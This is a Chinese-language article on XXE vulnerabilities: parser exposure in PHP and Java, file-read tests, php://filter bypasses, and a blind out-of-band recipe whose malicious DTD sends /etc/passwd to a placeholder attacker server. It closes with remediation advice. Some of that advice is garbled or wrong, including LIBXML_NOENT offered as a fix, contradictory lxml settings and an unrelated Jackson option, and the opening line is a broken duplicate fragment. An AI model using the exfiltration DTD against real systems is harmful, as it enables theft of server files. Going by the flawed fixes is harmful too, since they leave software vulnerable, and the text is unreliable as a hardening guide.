能,但取决于解析器是否加载外部实体——不是所有xml解析都默认开这个口子。比如php的simplexml_load_string()在libxml中默认禁用外部实体。

XXE漏洞到底能不能直接读文件?
能,但取决于解析器是否加载外部实体——不是所有XML解析都默认开这个口子。比如PHP的simplexml_load_string()在libxml LIBXML_NOENT或LIBXML_DTDATTR限制时,就可能把file:///etc/passwd原样拉出来;而Java的DocumentBuilder若没调用setFeature("http://apache.org/xml/features/disallow-doctype-decl", true),同样危险。
- Windows下常见踩坑:用
file:///c:/windows/win.ini测试比/etc/passwd更稳妥,避免路径不存在导致无回显 - PHP中
libxml_disable_entity_loader(false)等于主动开后门,5.2–5.6旧环境尤其高危 - 有回显≠一定能读任意文件:如果响应体被截断、HTML转义或JSON包裹,得换
php://filter/read=convert.base64-encode/resource=绕过
盲注XXE怎么把数据“偷”出来?
当页面不回显XML内容,就得靠带外(OOB)方式让服务器自己把数据发到你控制的地址。核心是诱导解析器请求一个恶意DTD,再把敏感内容拼进URL参数里。
- 先起一个监听服务:
python3 -m http.server 8000或用ceye.io/dnslog.cn这类DNS/HTTP日志平台 - 构造恶意DTD(如
evil.dtd):<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://your-server.com/?x=%file;'>"> %eval; %exfil;
- 主XML里引用它:
%xxe; ]> - 注意:目标服务器必须能出网,且DNS解析不受限;某些WAF会拦截含
SYSTEM的请求,可尝试用php://filter编码后再外带
Java里哪些解析器默认带XXE风险?
不是所有Java XML库都一样危险。DocumentBuilder和SAXParser在JDK 1.7+默认禁用外部实体,但JAXBContext和老版本TransformerFactory仍可能中招,尤其当开发者手动设置了setFeature("http://xml.org/sax/features/external-general-entities", true)。
- 检查代码里有没有
setFeature调用,特别是"external-general-entities"和"external-parameter-entities"这两个开关 - Spring Boot 2.2+默认加固,但如果项目用了自定义
XmlMapper且没调用disable(DeserializationFeature.USE_JAVA_ARRAY_FOR_JSON_ARRAY),仍有隐患 - Tomcat 8.5+对
web.xml里的javax.xml.parsers.SAXParserFactory做了默认限制,但应用层代码仍可覆盖
修复XXE为什么不能只靠“过滤关键词”?
正则匹配SYSTEM、file://、DOCTYPE这种做法早就失效了——攻击者用大小写混淆、空格绕过、CDATA包裹、参数实体嵌套都能绕过。真正有效的修复必须落在解析器配置层。
- PHP:统一用
libxml_disable_entity_loader(true)+LIBXML_NOENT,别信strip_tags()或preg_replace() - Java:优先用
SecureProcessingFeature,而不是靠黑名单;JAXB场景下加@XmlAccessorType(XmlAccessType.NONE)防反序列化失控 - Python:
defusedxml库必须替代原生xml.etree.ElementTree,lxml要禁用load_dtd=True和resolve_entities=False - 最常被忽略的一点:上传XML文件的功能,即使后端只校验扩展名,也要在解析前强制设置解析器安全选项——因为攻击者可把恶意payload藏在合法标签里
XXE的麻烦在于,它不总在报错里暴露,也不总靠回显确认;一次没触发,不代表没风险。关键是盯住解析器初始化那几行代码,而不是盯着输入字段长什么样。










